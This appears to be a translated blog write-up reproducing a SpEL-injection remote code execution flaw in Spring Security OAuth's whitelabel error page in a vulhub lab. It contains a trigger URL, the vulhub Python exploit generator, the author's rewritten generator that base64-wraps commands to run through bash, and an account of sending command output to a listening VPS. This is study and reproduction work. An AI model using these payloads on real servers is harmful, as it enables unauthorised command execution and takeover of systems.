Spring Security OAuth is a module that provides security authentication support for the Spring framework. When it uses whitelabel views to handle errors, due to the use of Spring’s Expression Language (SpEL), an attacker can remotely execute commands by constructing malicious parameters if authorized. Therefore, this vulnerability is an RCE that is realized under the premise of having an account and password.
After setting up the environment with vulhub, first look at the trigger point of the vulnerability: http://zgao.site:1800/oauth/authorize?response_type=${2334-1}&client_id=acme&scope=openid&redirect_uri=http://test
Entering this URL will prompt login authentication, all are admin.
Then it redirects to an authentication error page, but the page returns the execution of our input SpEL expression, which can be seen as an injection of the SpEL expression.
SpEL (Spring Expression Language) is a more powerful expression language than JSP’s EL. Why summarize SpEL? Because it can query and manipulate data at runtime, especially array list type data, thus reducing code volume and optimizing code structure. For SpEL expressions, you can refer to some introductory articles online.
Since the expression is executed, consider the possibility of code injection. Let’s look at the poc provided by vulhub.
#!/usr/bin/env python message =input('Enter message to encode:') poc ='${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]: poc +='.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc +=')}'print(poc)
From the poc, it can be seen that it is constructed by calling the java command execution function java.lang.Runtime.getRuntime().exec. Since the structure of the SpEL expression must also be satisfied, the input command is transformed, converting each character of the command into ASCII code, using java’s tostring method, and concatenating all characters together before passing them to exec for execution.
However, this poc is without echo, not that the vulnerability is without echo, note this, at first, I thought it was my problem. Use the poc to generate the corresponding command payload, put it in the URL for execution.
Since I was not very familiar with java at first, I couldn’t directly modify the poc, so I thought of a way for command execution, treating it as a no-echo RCE. I thought of no-echo XXE, where the result of command execution can be placed in the URL and carried out, while I used nc on the vps to listen to the port and get the echo content.
Although this idea is correct, I encountered a pitfall here, let me first talk about the process of stepping into the pit. I originally wanted to use the $(cmd) method to put the result of the executed command into curl for post carry, however…
I first tested it under bash and found no problem.
Found that this is no problem, then put the command into the poc to generate payload.
It should be no problem, here I will demonstrate with curl.
I struggled here for a long time, why is there nothing after cat?! At first, I thought it was a permission issue? Command execution error??
Finally found it was a space problem!!! I was too difficult! Although vulhub mentioned this thing, it just gave a link and didn’t draw attention, directly jumped into the pit.
Please refer to this online article, must see! Very important! Java Shell Reversal Limitations and Bypass Methods

This pit is caused by the problem of java’s exec function itself, redirection, pipe, space may cause errors. So the command needs to be transformed a second time, in the following form.
Put the transformed payload below into the poc generated payload is correct!
After a lot of twists and turns, I finally got the shell, I cracked. But I was thinking, since the payload needs to be transformed twice, why not write it all into the poc, didn’t understand the principle, jumped into the pit without knowing. So I rewrote the poc myself, the code is as follows.
#!/usr/bin/env pythonimportbase64 message =input('Enter message to encode:') message ='bash -c {echo,%s}|{base64,-d}|{bash,-i}' % bytes.decode(base64.b64encode(message.encode('utf-8')))print(message) poc ='${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]: poc +='.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc +=')}'print(poc)
With the poc I constructed, you can directly execute commands without worrying about exec execution errors. Since the vulnerability’s principle is the injection of SpEL expressions, and knowing that it is due to the lack of strict filtering of incoming parameters, plus I don’t have the corresponding source code, I won’t analyze it at the code level.
This afternoon, I discussed with everyone in the group, Lin mentioned that it might be using reflection, so once there is a space or something, it will go wrong, debug to the point of enjoyment. I went to see some online analysis of the exec’s underlying, it seems to involve reflection, I will analyze the exec’s source code when I have time.
Java Reflection Mechanism
You can refer to this article, which mentions the analysis of exec. There is really a pit here, will pay more attention in the future!